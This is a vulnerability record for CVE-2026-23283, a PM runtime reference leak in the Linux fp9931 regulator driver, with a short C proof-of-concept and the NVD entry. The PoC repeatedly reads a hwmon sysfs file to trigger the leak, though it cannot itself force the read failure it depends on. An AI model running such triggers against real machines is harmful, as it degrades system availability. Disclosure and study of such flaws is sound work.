CVE-2026-23283

/* * PoC Concept: Triggering the reference leak in fp9931_hwmon_read * This requires a system with the fp9931 driver loaded. * Compile: gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // The actual path depends on the system configuration, e.g., /sys/class/hwmon/hwmonX/in0_input #define HWMON_PATH "/sys/class/hwmon/hwmon0/in0_input" int main() { int fd; char buffer[32]; ssize_t bytes_read; printf("[+] Attempting to trigger PM reference leak in fp9931 driver...\n"); // Loop to repeatedly trigger the hwmon read function for(int i = 0; i < 10000; i++) { fd = open(HWMON_PATH, O_RDONLY); if (fd < 0) { perror("[-] Failed to open hwmon device"); continue; } bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { // If the underlying regmap_read fails in the kernel, // pm_runtime_put_autosuspend is skipped, causing the leak. // perror("[-] Read failed (Potential leak triggered)"); } close(fd); // Simple delay to avoid overwhelming the system immediately if (i % 100 == 0) { printf("[+] Iteration %d completed. Check PM runtime usage counters.\n", i); } } printf("[*] PoC execution finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-23283", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:22.957", "lastModified": "2026-05-22T00:19:22.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nregulator: fp9931: Fix PM runtime reference leak in fp9931_hwmon_read()\n\nIn fp9931_hwmon_read(), if regmap_read() failed, the function returned\nthe error code without calling pm_runtime_put_autosuspend(), causing\na PM reference leak."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nregulador: fp9931: Corrección de fuga de referencia de tiempo de ejecución de PM en fp9931_hwmon_read()\n\nEn fp9931_hwmon_read(), si regmap_read() fallaba, la función devolvía el código de error sin llamar a pm_runtime_put_autosuspend(), causando una fuga de referencia de PM."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0902010c8d163f7b62e655efda1a843529152c7c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ada571018d54c2381bab7c290577114f9667cda7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}